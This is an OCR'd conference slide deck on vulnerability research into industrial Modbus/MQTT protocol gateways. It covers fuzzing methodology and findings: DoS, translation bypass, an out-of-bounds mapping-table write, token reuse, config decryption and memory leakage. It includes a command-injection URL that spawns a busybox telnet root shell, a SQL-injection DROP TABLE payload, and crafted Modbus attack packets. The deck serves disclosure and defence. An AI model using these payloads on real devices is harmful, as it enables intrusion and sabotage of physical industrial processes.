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A complex ecosystem

Upper Medium Lower
network network network

A simplified view. Can be more complicated than this!



Heterogeneous Protocols

Enterprise Control
network network

Ethen\et/IP

SErcos

the automation bus

T

Field
network

CC-Link
CANopen




Increased demand for connectivity

e 34.5% of control hetworks are connected to the
Internet

e 66.4% are connected to either
— a third-party private infrastructure

— or to their enterprise business network.

Reference: SANS State of OT/ICS Cybersecurity Survey (2019)



Protocol Gateway

Ethernet | ,
Serial
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Typical installation

= = =
I | I
| Historian Engineering HMI
Workstation

ICS TIG.\K\
Firewall %

Ethernet Interface Modbus TCP

Control Network
(Modbus TCP)

Field Network
(Modbus RTU)

Slave
Protocol I;H:Ea
Gateway Modbus RTU
Serial Interface |/ .4,
EIIIIIT] ModbusRTU
PLC . Slave
11 III I
| I ! '
— 1| =
TTIT -
Relay Motor Thermometer

D

Tachometer

Modbus TCP
Master



Protocol Gateway

Tiny, cheap, embedded
“piece of hardware”

Performs secondary tasks
(not like an industrial
robot)

Can actually run a fully-
fledged system

It's actually core to the
industrial network

>

Overlooked, not
indexed

Mis-configured, not
patched, not
monitored




esearch Assumptions

blg?:k hat

LISA 2018

Breaking the Industrial Internet of Things ALGLIST <o mase

Hacking Industrial Control Gateways MANDALAY BAY / LAS VEGAS, NV

w} M @ oo

Breaking the lloT: Hacking industrial Control Gateways

735 views - Jan 14,2020 12 &0 A SHARE = SAVE



Research Assumptions

Venagor
neufral

$Modbus




Considered Gateways

Goteway ——Type  Counry _ierces randaions

Nexcom NIO50 Real-time Taiwan Eth, Serial, Transparent, Modbus (tcp/rtu/ascii), MQTT
Wifi
Schneider Link 150 Real-time France Eth, Serial Modbus (tcp/rtu/ascii), jbus, powerlogic
Digi One IA Real-time USA Eth, Serial Transparent, Modbus (tcp/rtu/ascii)
Red Lion DA10OD Data USA Eth, Serial 300 drivers
Station
Moxa MGate 5105- Data Taiwan Eth, Serial Modbus (tcp/rtu/ascii), ethernetlP, MQTT

MB-EIP Station



Type of Gateways

e Real-Time

- Real-time approach: each incoming packet s
immediately parsed, evaluated, and translated

e Data Stations

- Asynchronous approach, e.g. do not wait for an incoming
read to pull data our from a slave

- Require the configuration of a sort of routing table: 1/0
Mapping Table



Approach to
Research
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Test cases

Crash
monitoring

Configuration

Researcher



Translated

Test cases
traffic

Crash
monitoring

Configuration

Researcher



Translated
traffic

Test cases

Crash
monitoring

Inbound Outbound
traffic traffic

Configuration

Researcher



Configuration

Researcher

Test cases

Translated

traffic Sni
Crash
monitoring
Inbound Outbound
traffic traffic

Report




imulator

File Options Commands

3 % C

< ’r

View Help

A H @

® @

»»

Modbus Mode

Slave Addr

: Scan Rate (ms) | 1000 "

Function Code | Read Coils (0x01) 4'—%¥mddfesrr6—‘ﬁec—-—

" rodton

Number of Coils ||

|| Data Format | Dec = | Signed

1 0|1 (0O

1

A

@ TCP:192.168.010.102:502 Base Addr: 0

A = x

Packets : 11

Errors : 2

pyModSlave

File Options Commands WView Help

: Flc 5@ ¢ & u

0o @

Modbus Mad Slave Addr SimCycle (m:

.DD Coils o Discrete Inputs Al Input Registers | a0 Holding |

!{j'; Start Addr No of Coils

Sim

@ RTU: 0, 38400, 8, 1, None Packets : 4 Erros : 0

]




B%»0

Bus Monitor

Bus Monitor

B % 0

Raw Data

Header Payload

[TCP]=Tx = 11:32:19:028 -j00 0E 00 00 00 06 01
| [TCP]=Rx > 11:32:19:100 - 00 OE 00 00 00 04 01 01 01 15

ADU

|Ty:pe : Tx Message
Timestamp : 11:32:19:028
Transaction 1D : 00D0E
Protocol 1D : 0000

Length : 0006

Linit 1D - 07

Function Code : 01
Starting Address : 0000
Quantity of Registers : 0005

Raw Data CRC

[FRTU]=Rx > 11:32:1%:042 - 01 01 00 00 00 05 FC 09
[RTU]=Tx = 11:32:15:088 - C T

ADU

Type : Rx Message
TimeStamp : 11:32:19:042
Slave Addr: 01

Function Code : 01

Starting Address : 0000
Quantity of Registers : 0005
CRC : FC09




Bus Maonitor

B % ©

Bus Monitor

B % 0

[TCP]=Rx > 11:32:19:100-00 0OE 00 00 00 04 01 01 01 15

ADU

Type : Rx Message
Timestamp : 11:32:19:100
Transaction ID : D00E
Protocol 1D : 0000

Length : 0004

Unit 1D : 01

Function Code : 01

Byte Count : 01

Register Values : 15

Raw Data

[[RTU]=Rx = 11:32:19:042 - 01 01 00 00 00 05 FC 09
[RTUJ=Tx = 11:32:19:088 - 01 01 01 15 90 47

ADU

Type : Tx Message
TimeStamp : 11:32:19:088
Slave Addr : 01

Function Code : 01

| Byte Count : 01

Register Values : 15 | = 10101

CRC : 9047




Fuzzer

* Mutation-based: protocol learning

— e.g.,Radasma and PropFuzz
* Generation-based: known specs

— e.g.BooFuzz and Sulley

* Based on (and credits to)
https://github.com/youngcraft/boofuzz-modbus



Fuzzer

Configuration:
def write_single_coil(session):
|nitialize s_initialize('write_single_coil') .
with s_block('adu'): - trailer _
s_incr('transId') - byte orderlng
Header s_word(0x0000, name='protoId',6 endian=cfg.endian, fuzzable=cfg.fuzz_proto_id) -fuzzable fleldS
s_size('pdu', length=2, offset=1, name='length', endian=cfg.endian, fuzzable=cfg.fuzz_le - recursive fields
s_byte(cfg.slave_id, name='unitId', fuzzable=cfg.fuzz_slave_id)
with s_block('pdu'):
s_byte(0x05, name='write_single_coil', fuzzable=cfg.fuzz_funct_code)
s_word(0x0001, name='address', endian=cfg.endian, fuzzable=cfg.fuzz_addrress)
if cfg.random_coil_value:
Payload < s_word(0x0000, name='outputValue', endian=cfg.endian, fuzzable=True)
else:
s_group(name="'outputValue', values=['\x00\x00', '"\XFF\x00'])
if cfg.trailing_garbage:
s_random('', cfg.gmin, cfg.gmax, num_mutations=cfg.gmut, name='trailing_garbage')
Finalize session.connect(s_get('write_single_coil'))




Instrumentation

target.procmon =

(pre=target_pretest,
start=reset_target,

2019
:18,088]
.18,@88]
18,089 root
:18,089]
8,089]
25:18,089]

:19,113] Test Case:

9,113]
12:25:19,113]
,114 root
2:25:19,114 root
: 9,114]
2]

5: 18 USB] Test Case: 3:

boofuzz.instrumentation.External

post=target_alive, -

Connect(), ARP request, etc..

restart=reset_target)

modhus rpad coil. quantltv low.3
Case 3 of 112 overall.

Info: Ty yte. Lt s

INFO Unit is still up and running
Opening target connection (127.0
Connection opene

Info:
Inf

.post_send()
crash detec
.post_send()
No crash detected.
:loalnq tarqet connection.

mcdbus read_coil. quantlty low.4
Eyte Default lue: '\xB81'. Case 4 of 112 overall.
Unit under test 1s down!
I am trying to restart the target
Info: Opening target connection (127.8.8.1:15821)...
Error!!!! Cannot connect to target; target presumed down.

Stopping test run.

Reboot

Note: This likely indicates a failure



Gateway

Transparent, Modbus, MQTT

Data Flow Configuration

Step 1 Protocol: MODBUS - h
System Setting
Data Flow: Ethernet to Serial v
4
Forwarding Port: /502 : 1-65535
Timeout 0 © 0-4294967295 ms
Operation mode: Modbus ASCII to Modbus TCP

© Modbus RTU to Modbus TCP
Step 2

Submit

Data Flow

Save&Apply

Inbound and outbound interfaces
Master and slave configuration



Sniffer

Ethernet Interface Serial Interface

[
WIRESHARK

\_ Y

~N

Payload acquisition (Modbus)

+

Data normalization



Analyzer

o Automatically detects Real-time gateways configured as Modbus
mismatches or TCP Master + Modbus RTU Slave

1574704509.746888, TCP, 00:01:00:00:00:06:01:00:00:01:00:01

pac kets d ro D 1574704509.770035,RTU, 01:00:00:01:00:01:91:CA
| | | |

1574704511.271468, TCP,00:02:00:00:00:06:01:01:00:01:00:01

® CO Fre lat| on: 1574704511.289164,RTU, 01:01:00:01:00:01:AC:0A

1574704512.802031, TCP,00:03:00:00:00:06:01:02:00:01:00:01

— Timestamp for real-time  1574704512.875859,RTU, 01:02:00:01:00:01:E8:0A

gateways 1574704514 .328139, TCP, 00:04:00:00:00:06:01:03:00:01:00:01
1574704514 .343510,RTU, 01:03:00:01:00:01:D5:CA

— Nonce for data stations

1574704515.860150, TCP,00:05:00:00:00:06:01:04:00:01:00:01
1574704515.878557,RTU,01:04:00:01:00:01:60:0A



Example of Modbus TCP fuzzing

boofuzz Fuzz Control

Total:
modbus_read coil
Pause

Te

Test Case Log: 158
[201

pyModSlave

File Options Commands View Help

* C =

Modbus Mode U~ | Slave Addr -+ SimCycle (msec)

Do Coils | 3 Discrete Inputs nput Registers | 0 Holding Regit4: P

Start Addr No of Coils

1307 Erros : 200

Raw Data

[RTU]>Rx >11:42:59: 010100 0110 00 60 0A

Sys >11:42:59: Slave 1 - Modbus Error: Exception code = 3
[RTU]>Tx>11:42:59: 0181030051
[RTU]>Rx>11:43:00: 0101000110 01 A1 CA

Sys >11:43:00 : Slave 1 - Modbus Error: Exception code = 3
[RTU]>Tx >11:43:00: 01810300 51
[RTU]>Rx>11:43:01: 0101000110 02 E1CB

Sys >11:43:01: Slave 1 - Modbus Error: Exception code = 3
[RTU]>Tx>11:43:01: 0181030051

[RTU]>Rx >11:43:02: 0101000110 0320 0B

Sys >11:43:02 : Slave 1 - Modbus Error: Exception code = 3
[RTU]>Tx >11:43:02: 0181 0300 51

ADU
Type: System Message

TimeStamp : 11:39:47
Message : Slave 1 - Modbus Error: Exception code = 2




Example of Setup

Modbus
Master / Slave

L) network power strip

sniffer

Sniffer

Network
Power Strip




FIndings



Resource Exhaustion

* Affects all tested

System
Model: Digi One IA

Firmware Version: \ersion 82000774_X 02/07/2018 d ev i CeS

MAC Address: 00:40:9D:B4:EB:D5

CPU Utilization: 1%

UpTime: 15 miutes 45 soconde * Hang of the TCP/IP stack

Network

IPAd?:;: ?;2‘158.25,15 ° Hang Of the tranSlatlon
Host Name: p rocess

Network Diagnostics
Network Protocols Route Table

Senal Ports & Diagnostics
Industrial Protocols
Port 1 (s1)




case: 115°

INFO
Check OK:
Stej Co

INFO
Check OK:

modbus_read_coll.transIid. 115



@ 192

x

This site can’t be reached

http://192.168.25.15/reports/status/system_info.htm is

unreachable.

ERR_ADDRESS_UNREACHABLE

+ |

>

Reload




5] gi One IA Configurat x “

- cC o 102.168.25.15 2w B9 O :

Digi One IA Configuration and Management

‘. B

-

(7] Help

Home Device Information

Configuration
System

Network

Model: Digi One 1A
Firmware Version: Version 82000774_X 02/07/2018

Serial Port

Security

wimpeicter MAC Address:  00:40:9D:B4:E8:D5

SYStlern
Applications cPU ili . 0,

Industrial Automation Up Time: 5 seconds
Management

Serial Ports Network

Connections DHCP: Off

IP Address: 192.168.25.15

Administration

Host Name:
Backup/Resto

Upde
Factory Default Settings
Device Information
Reboot

e Firmware

Network Diagnostics

Network Pro

Route Table

Serial Ports & Diagnostics
Logout Iindustrial Protocols

Port 1l (s1)

Copynght © 1996-2009 Digi International Inc. All rights reserved

Check OK: No crash detected.

t Stej Contact proce ) or

1.
JF nl 1S St1l L
Check OK: No crash detected.




Targeted DoS

* Reboot for:
- read_coils(0)
- read_1inputs(0)
- read_registers(0)

e Demo: Red Lion DoS




Protocol Translation Bypass

Nexcom Schneider  Digi One IA

NIO50 Link 150
Modbus TCP 0.00 32.66 29.98 o
Radio of filtered malformed packets
Modbus RTU 25.47 23.73 9.36

One of this packets is the following (read input registers)

Transaction  Protocol = Message Unit Function  Starting Number of
—» ID ID Length ID Code Address Registers
O10F 0000 0011 03 04 D1CE 0070

PDU is O0xO0O06 bytes long

+




No translation,
but forwarding



== A == ==
| )
Historian Engineering HMI
Workstation
M_?ggus Transaction D Protocol ID MLi\SnS;tie UnitID Flé:nocéi:n iga drrtér;gs NRlégil;teérzf
Packet 010F 0000 0011 03 04 DICE 0070

Modbus TCP request 0x04

(read input registers)

with incorrect length.

Control Network
(Modbus TCP)

Field Network

-------- o 10

04D1CE 0070

Packet

0000

Modbus RTU request 0x0F

(write multiple cmls)

with correct Iength.

ICS Firewall %
Protocol
Gateway

=II11Tn

PLC
CTind
|

Mapping

- PLC: Slave ID 01

- Relay: Address 4

- Motor: Address 3

- Thermometer: Address 2
- Tachometer: Address 1

1L |
Relay

gl

Motor

Thermometer

Tachometer



Demo: Nexcom Attack Chain

ambyte@iva: -

ab02 faf@ 95ef 0000 0204 05b4 0402 080a

cfeb 06065 0000 0006 0103 030a

IP 192.168.10.102.502 > x1v3.34582: Flags

4500 002c 28d3 0000 ffO6 fd37 cOa8 Gabb

c0a8 0aGa 01f6 8716 0000 3cf8 bOcf fb7d

6012 0b68 843b 0066 0204 05b4 0000

IP x1v3.34582 > 192.168.10.102.502: Flags

4500 0028 1lclc 4000 4006 88f3 cOa8 OGaba

cBa8 0a66 8716 01f6 bOcf fb7d 0000 3cf9

5010 fafo 95db 0060

IP x1v3.34582 > 192.168.10.102.502: Flags

4500 0034 1cld 4000 4006 88e6 cOa8 Qaba

c0a8 0ab66 8716 01f6 bOcf fb7d 0000 3cf9

5018 fafo 95e7 oeee olef 0000 0011 @304

dlce 0070 B

IP x1v3.34582 > 192.168.10.102.502: Flags - ack 1, win 64240, length ©
4500 0028 1lcle 4000 4006 88f1 cOa8 Oala e.e.....

c0a8 0a66 8716 0116 bOcf fb89 0000 3cf9

5011 faf@ 95db 0000 P

IP 192.168.10.102.502 > x1v3.34582: Flags [. FTR Nexcom Demo
4500 0028 28d4 0000 ff06 fd3a cPa8 0abb 2

c0a8 0ala 01f6 8716 0000 3cf9 bOcf fbBa . . il o i b IR Fcles: =
5010 Ob5b 9¢58 0000 0000 0000 0000 P

IP 192.168.10.102.5602 > x1v3.34582: Flags

4500 0034 28d5 0000 ffO6 fd2d cOa8 0a66 A o f Ralay Status
cBa8 0aba 01f6 8716 0000 3cf9 bbcf fbBa

5018 0b5b 9ble 0000 0000 0000 €006 @lOf

0006 0011 N
IP x1v3,34582 > 192.168.10.102.502: Flags Motor Status
4500 0028 0000 4000 4006 a50f cPa8 Oaba @

c0a8 0a66 8716 01f6 bOcf fb8a 0000 0000

5004 0000 edb8 0000 P =
ARP, Request who-has x1v3 tell 192.168.10. ; .rhemmmeursum; =

0001 08060 0664 0001 68ff 7b88 eb52 cOa8
0a64 0000 0000 0000 cOaB Gaba 0000 0000 N E £ P 2 EES——

0000 0000 0000 0000 0000 0000 0000

7 ARP, Reply x1v3 is-at 00:50:b6:7:99:18 (oui Unknown)
0001 0800 0604 0002 0050 b67e 9918 cOa8 . : Tachometar Status

i) Addr | @x0008 Wi 1T

0aba 68ff 7b88 eb52 cOaB8 0abd o i

0 IP x1v3.17500 > 192.168.10.255.17560: UDP, length
4500 00e9 42aa 4000 4011 6100 cOa8 Oaba E B.@
c@a8 Oaff 445c 445c 00d5 9740 7b22 7665

7273 696f 3a20 5b32 2¢20 305d 2¢20 M MODBUS RTURS-232 PLC - Smutater (port: COMT 6008, , - o x Adar: @xB08:

25‘70 6772 7422 355@ 313; 5550 302¢ ;052 Convactad 1] rosevedsert) 36 eI ST 1 46| ||+ 8 =e LR )

686 7374 6e74 223a 2031 3031 3737 host_int":.10177 el R T 0w R0zl W e e = Fee o fe = o Agar: GewO M %
3 P

SR R

3339 3733 3338 3639 3235 3631 3038 3973033869256108 iy EOE DR 1] o Fi
3832 3835 3138 3734 3735 3632 3731 8285271874756271 y -

3932 2c2 6973 706c 6179 6ebl 6d65 92,."displayname

223a 2022 2022 6e61 6d65 7370 6163 .. "namespac

6573 223a 3235 3835 3138 3637 3834 es":.[2585186784

2c20 3336 3030 3839 3630 2¢20 3135 ,.3671008960,.15

3133 3636 3 3735 2c20 3134 3339 13660275,.147539

st dssr  9r0000 2
3§ 208 200 3

3633 3731 2 3135 3739 3434 3439 6371, .1579445049
2c20 3230 3034 3332 3634 2c20 3330 ,.2006043264,.30
4 74 o

nexcom_attack_chain.mp4



Data Stations
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Modbus Commands

@ Add
Index |Name Slave ID Function Address [ Quantity Trigger Poll Interval Endian Swap
1 SetEW 1 5 Yyrite address 1, Quantity 1 Data Change A MNane
2 SetCritTemp 1 3] VWrite address 1024, Quantity 1 Data Change MiA MNaone
Mapping address arrangement Marnual
write write

Role 1 of MGate 5105-MB-
EIP :
Modbus TCP Sarver
Mame  Unit ID TCP Port Modbus Address
SetSW1 1 502  4x0001=-4x0001

SetCritTemp 1 502  4x0002-4x0002

Role 2 of MGate 5105-MB-
EIP :
Modbus RTU/ASCI Master

Mame  Function Internal Address Quantity
SetsSW1 5] | . 0 1 bytes

SetCritTemp 5] 2 L 3 2 bytes




Arbitrary R/W Vulnerability

* Given fact (weird): address in inbound message
used as index in mapping table

 Qut-of-bound write

* No check of function code

write (x) - where x 1s anywhere 1n table



Impact

* Arbitrary read and writing

* Example: write coil to write to an address
mapped to a different command

write coil - write register
write register - write coil

—» N*(write coil) + M*(write register)



Attack Example

* Change protected FTR Protocol Gateway Demo

parameter “Critical
Threshold”

* Case 1: very high value -

disable alarm / damage
production

* Case 2: very low value =
trigger false positive




IN

Moxa Attack Chai

Demo

moxa_{camera, screen}.mp4



To sum up

Role 2 of MGate 5105-MB-
EIP :
Modbus RTUWASCI Master

Mame  Function Internal Address Quantity
Sets3W1 5] 0 10 1 bytes

SetCritTemp (5] Z w3 2 bytes

Trans Proto Message UnitID Function Register Register
ID ID Length Code Address Value

0001 0000 0006 01 05 0016 FFOO < Abuse



Technique to leak
the I/O Mapping
Table



1: Token Credential Reuse

* Admin password encrypted with guessable
nonce

1.4 192.168.127.254 TCP 54 50671 - 4900 [ACK] Seq=1 Ack=1 Win=262656 Len=0

.4 192.168.127.254 TCP 58 50671 - 4900 [PSH, ACK] Seq=1 Ack=1 Win=262656 Len=4 <€ Ask nonce
127.254 10.211.55.4 TCP 54 4900 - 50671 [ACK] Seg=1 Ack=5 Win=32768 Len=0

127.254 10.211.55.4 TCP 62 4900 - 50671 [PSH, ACK] Segq=1 Ack=5 Win=32768 Len=8 a4 — — Nonce
b . 4 192.168.127.254 50671 - 4900 ACK] Seg=5 Ack=9 Win=262656 Len=39 Auth
127.254 10.211.55.4 TCP 54 4900 - 50671 [ACK] Seq=9 Ack=44 Win=32768 Len=0

127.254 10.211.55.4 TCP 66 4980 - 50671 [PSH, ACK] Seq=9 Ack=44 Win=32768 Len=12

127.254 10.211.55.4 TCP 54 4900 - 50671 [ACK] Seq=21 Ack=45 Win=32768 Len=0

» Frame 33: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface @

» Ethernet II, Src: Parallel_0f:42:9f (00:1c:42:0f:42:9f), Dst: Parallel_00:00:18 (00:1c:42:00:00:18)

» Internet Protocol Version 4, Src: 10.211.55.4, Dst: 192.168.127.254

» Transmission Control Protocol, Src Port: 50671, Dst Port: 4900, Seq: 5, Ack: 9, Len: 39

» Data (39 bytes)

2000 90 1c 42 00 00 18 @0 1c 42 Of 42 9f @8 @0 45 00 - TRy B-B:--E-
2010 90 4f 99 9c 40 20 80 96 de Be 0a d3 37 @4 c@ a8 e @es i S
0028 7f fe c5 ef 13 24 19 86 4c 40 4b a7 b5 f7 50 18 cereefe LEK:-P-
ae3e . Mk - - BT

#04@ | 82 @0 05 @0 61 64 6d 69 6e 00 00 9@ 00 ad® 92 5d servadmi ool
2050 | db 45 4f 87 b4 56 9b 88 55 27 b5 fc c2 [N +EQ: Ve U'ess




1: Token Credential Reuse

e |Lack of random seed in initialization in

sdc_dscid()

if ( 1(v6 | v5) )

vll = rand();
s.tv_sec = 67109120;
[...]

s.tv_usec = vi1il,;

sub_10E6C((int)"get_challenge", v3, &s, 8u);
return dword_1C98C;

}

* Token reuse after reboot, re-config or update

* Grants full device access (not only I/O table)



2: Decryptable Configuration

e0® Wind = 0 s ( « 1 # -*- coding: utf8 -*-
£ Nindows 10 E (B (g B v O y &= .
- ] 2 =08 PR W0y thon? extract-confi
Configuration x 3 # Dependency: scapy
- 4
Mo, Nan n
0 MG s0s2715 5 1__rrpc|r't 5y i
. — $ = = @ q @ = 6 from scapy.all import *
therNet/IF — B e 7 from struct import unpack
. BE3 - et + 8
MGate 5105-MB-EIP 1
™ Lengthilnfo 9 packets = rdpcap(sys.argv[1]
Modbus RTWASCI o1 1078 4900 - 50672 [PSH, 1 18 out = open(sys.argv[ , )
54 50672 - 4900 [ACK] Seq=48 Ack=! 11
. “| !‘ 1078 4900 - 58672 [PSH, ACK] Seg=51: 3w — " "
I- - 1078 4900 - 58672 [PSH, ACK] Seg=51: 12 sessions = packets.sessions(
54 58672 - 4900 [ACK] Seq=48 Ack=! None
Basic Network Seridl Protocol System 1078 4900 - 50672 [PSH, ACK] Seg=51! for k,v in sessions,iteritems():
< | Y 1078 498@ - 50672 [PSH, ACK] Seg=511 LF k. Find(":
Protocol Conversion  FtherNet/IP  Modbus RTU/ASCII  Modbus TCP  1/0 Data Mapping 54 58672 - 4980 [ACK] Seq=48 Ack=! LT k. TLne(
Device 1d 1078 4900 - 50672 [PSH, ACK] Seq=51'
1078 498@ - 50672 [PSH, ACK] Seg=511
54 50672 - 4900 [ACK] Seq=48 Ack=! -
[ 264 4900 + 50672 [PSH, ACK) Seq=51! Fm”‘?—f““ = False
MGate 54 50672 - 4900 [FIN, ACK] Seq=48 for i in range(len sess ):
S 54 4900 - 50672 [ACK] Seq=519487 if typel [1].payload.payload)
Hevice Houe 10 s DedceE 54 4990 - 50672 [FIN, ACK] Seq=51! Wi nﬁnue .
» ) | <= Master _ i " 7 54 50672 - 4980 [ACK] Seq=49 Ack=51f : ; 5 i
| [MedusTEP Cient <> <> Modbus RTU/ASCII Slave - if TCP(sess[i].payload.payload).spor
i} (8624 bits) on interface @ A
o = Parallel 0f:42:9f (80:1c:42:0f:42:9f) continue

55.4 ‘ try:
Seq: 517149, Ack: 48, Len: 1024

load = sess[i].payload.payload.payload.load
except:
continue

@200 31 36 35 33 37 42 31 33 36 36 41 30 35 37 31 41 16537813 66AB5T1A if not found_first and load
@218 39 37 33 45 42 36 38 41 42 33 31 39 44 3@ 45 46 973EBGBA B319D@EF .
2220 31 35 37 35 33 45 41 43 36 35 45 32 34 32 38 34  15753EAC 65E24284 found_first = True

0230 43 41 32 38 34 36 32 32 43 38 42 30 34 30 43 30  CA284622 CBBB48CO out_ini_length = unpack
0240 44 44 44 32 33 45 37 31 43 44 46 37 43 38 39 36 DDD23E71 COF7CB96 i ; :
0250 42 46 46 41 33 37 41 44 38 3@ 38 43 37 37 38 33  BFFA37AD B@BC7783 out . write
0260 44 33 32 36 32 41 33 37 33 46 41 37 31 30 38 45 D3262A37 3FA7108E | 5
0270 37 31 33 39 33 45 39 38 31 41 43 36 35 37 43 43  71393E98 1AC657CC
0280 46 43 34 46 34 41 35 42 30 39 38 44 46 38 33 43  FCAF4ASB @9BDFBIC
9299 46 42 38 33 32 31 30 44 44 43 38 35 36 35 33 45 FBB3218D DCAS5653E
2220 39 36 33 45 41 41 31 37 35 31 30 30 33 35 41 46  963EAAL7 510935AF
©82b@ 45 38 35 38 37 41 33 38 41 37 38 42 43 39 43 3@ EB587A38 A78BCICA i " / % (out.tell
©2c0 34 38 44 43 46 37 37 42 32 46 36 31 36 3@ 44 43  4BDCF77B 2F6160DC
02d0 45 38 42 32 42 34 30 44 30 44 39 39 35 37 34 34 EBB2B40D 00995744

T4 09:46
2020/6/18

vnicO: <iive capture in progress> 172 bR 817 - RF: 613 (99.5%) 7077 4 )b: Defauit

38 out.close()



2: Decryptable Configuration

| d Length of the original file

P200AA00 00|16 @7 00144 45 42 41 : . A |.. ...DEBAZBEEZ5|
POYV0O10 36 36 34 36 39 46 30 37 3 3¢ ) ]56469F@7EE@85C4F|
VOYRLO20 4. y 38 30 4b 3f 00 00 @
00000030 44 32 4 Encrypted cnnflguratmn
POR00R4D 46 42 £ e
00000050 39 46 37 36 34 2 35

iDZDDEFSrﬁb4E4A6ﬁI
| FBEQCF8EFDA186D3 |
|9F764701425CF5F0 |
44 37 4 |167EE218DBD7DAZF |
39 « 3 45 139486207FE9DCEES |
3/ 32 37 3. y 46 ¢ |A1013858A7271EFA|
9 45 41 39 36 45 45 |514737C389EA9GEE |
38 45 39 30 32 |1A343A8D5248DES02 |

W
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= W =

J
ol en]

00000060
00000070
00000080
00000090
00000000

oo
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=
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L LA Lk
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L L W W W
L oo

N
=
U




2: Decryptable Configuration

2ls-Virtual-
]
els-Virtual-Pl

Virtual-Platform:
| Jad 1 _I' 1023 o4 10
s-Parallels-Virtual-Platform:
s=Virtual-Platform:
s-Virtual-Platform:
s-Virtual-Platform:
| Paral s-Virtual- form:
aliyun.db3 cloud.db3 eip.db modbus tcp.db3
L cmap.db3 nodbus_ser 3 mgtt_common.db3 syster
parallels-Parallels-Virtual-Platform:

> aliyun.db3
! azure.db3
! cloud.db3
} cmap.db3

2 eip.db3

2 proto_
8 21:22 system.db3

Firmware Decryption as per
https://www.ghidra.ninja/posts/02-moxa-firmware-encryption/




3: Authenticated Privilege Escalation

< @ © £ 192.168.127.254/MainPing.asp?DestIP=; busybox telnetd -p 9423 -| /bin/sh ; 2>&1 es w

£t Mostvisited [l RomE | MEES. & HBOPE ¢ 80 G GoogleinputTools [ +B @ wememams [Pk @ asuanrst M ouran @ #% @ cetting Started
) MToc
Ping Test

Ping Destination

 busybox telnetd -p 9423 - /bin/sh ; 2>

Unp”v’/edged user pi@ftr-moxa-modbus: telnet 192.168.127.254 9423

Welcome| readonly. | Trying 192.168.127,254...

The latest successful login time is Connected to 192'?63;12?'254'
[6/18/2020 11:56:55 Thu). from 192.168.127.1 Escape character is 'A]'.

| Clear Login Records -"—'EF / # whoami




4: Memory Leakage

* Leaks memory data in form of:
— write multiple registers sent to the slave

- leaked data automatically read back

* Example of attack payload

Slave  Function Starting Number Number Data
ID code address  of registers of bytes

O1 10 0000 0004 00



&9 [+] MODBUS-RTU
, 01 10 00
» 0010 30 35 36

&) [+] MODBUS-RTU

000 01 16 00

£3 [+] MODBUS-RTU
0 01 83 00

&9 [+] MODBUS-RTU
00 @01 @3 40

22 3A 30

00 80 00

00 00 00

« 0040 00 00 B0

£9 [+] MODBUS-RTU

Dev: 1 Fn: 3 Read Holding Registers (Reply) { @@ 0 0@ ... }

G0 66 08 160 73 74 65 72 2D 68 72 34 30 ....... ster-hr4e

33 22 3A 30 EB 89 0563":0. .

Dev: 1 Fn: 16 Write Multiple Registers (Request) Addr: Ox0000 { 29556 25970
Ge GO EGBCLCF ... 0.

Dev: 1 Fn: 16 Write Multiple Registers (Reply) Addr: Ox0000 N: 8
6@ @0 20 44 32 ... D.

Dev: 1 Fn: 3 Read Holding Registers (Request) Addr: 0x0000 N: 32
73 74 65 72 2D 68 72 34 30 30 35 36 33 ..@ster-hr40e563

00 00 0 PO GO 00 GO PO GO @O 00 0O OO "Eas. BN LB

0O 60 0O GG GO GG GG GO BB GO GO OO 6O

G0 00 0O GO B0 OO GO B0 BB GO BR BB B0  .......cbeveenns
E@4€e K
Dev: 1 Fn: 3 Read Holding Registers (Reply) { 295b6 25970 11624 29236 ... }

* Amount = "Number of registers to write" * 2

- For example:

- The maximum amount leaked at once looks like 16

Ox0004*2 = 8 bytes

* Address = f("'starting address'), i.e. predictable

File Edit View Go Lir

S
agNew - [ X 43
hra00541
hra00542
hra00543
hra00544
hra00545
hra00546
hra00547
hra00548
hra00549
hr400550
hr400551
hra00552
hr400553
hra00554
hr4D0555
hra00556
hra00557
hra00558
E3 nra00559
hr400560
hr400561
hr400562
hr400564
hr400565
hr400566
hr400567



Other translation problems

* Cloud translation:

- Lack of encryption, lack of sanitization, broken auth
* Availability:
- |IP change via magic packet

* Different implementation of the specs

* Etc... (ref. paper)



Cloud Support



MQTT

* Data leakage
— No support for encryption, or disabled by default

* Broken authentication cusens 101 oze

User Name:

Password Length: 8

= ¢ Password: pass
MQTT Username: T

34 O B6 43 57 20 94 a1l a2z 87 6T ab @8 @08 45 @
@B 47 B@ 9a @0 OB B0 @6 b6 96 cCB A8 01 50 cA as
@1 7@ 8@ 3d @7 5b ff f2 41 fd d2 & cc 4a 58 18
i1c @8 G6e 1b @8 @8 18 1d @68 84 4d 51 54 54 B4 c2

pE4E B8 00 BB 81 14 o8 04 [ElEESciolclilelc GE @08 T 61 T3
73 0B 46 46 46



MQTT

e Forwar

ding of arbitrary data blobs including attac

payloads for the backend

13652 11:408:45, 567228484
13654 11:408:45, 567350126

0.8169548022 192
0.8686889234 192

-168.1.86
-168.1.112

8.8382568966 192.168.1.88

182.168.1.112 1883 MOQTT 69 connect Command
192.168.1.80 32261 MQTT 58 connect Ack

13678 11:48:50,393669874
13679 11:408:58,451261839

8.814376871 192

-168.1.80

g Publish Message [topic]
192.168.1.112 1883  MQTT 60 Disconnect Req

Frame 13678: 180 bytes on wire (872 bits}), 1089 bytes captured (872 bits) on interface wlp4se, id @
Ethernet II, Src: AMPAKTec_87:6f:ab (94:al1:a2:87:6f:ab), Dst: IntelCor_43:57:29 (34:02:86:43:57:29)

3

3

¢ Internet Protocol Version 4, Src: 102.168.1.88, Dst: 102.168.1.112
} Transmission Control Protocol, Src Port: 32262, Dst Port: 1883,

MQ Telemetry Transport Protocol, Publish Message
¥ Header Flags: ©x38, Message Type:

Msg Len: 53

Topic Length:

Topic: topic

5

Seq: 1, Ack: 1, Len: 55

Publish Message, QoS5 Level: At most once delivery (Fire and Forget)

Message: (G08200080006818100080001272067T2203638203d202736..

oe 5F @8 19
01 7@ Te 86

62 90 bE 08
36 38 20 3d

a2
b&
df

ae
3b
53

g7
af
75

ae
28
3b

6f ab 08 @@ 45 @0
cB a8 01 58 c@ aB
c2 @d 23 ob 50 18

ea
B1 27 28 6F 72 28
44 52 4f 50 20 41
20 2d 2d

68 = '66 ;
LL TABLE 5;

or
DROP

<« SQLi on backend



Other security issues

Bonus: identified following side problems:
DoS: IP change via “magic packet”

Different implementation of the protocol
specifications

- E.g.,unit identifier field is half byte instead of one

Firmware with hard-coded password



Recommendation & Conclusions

* Consider security as an important aspect in
product selection

* Do not rely on a single point of control / failure,
e.g. ICS firewall

* Correct configuration and management. Even if
small, embedded devices — big problems
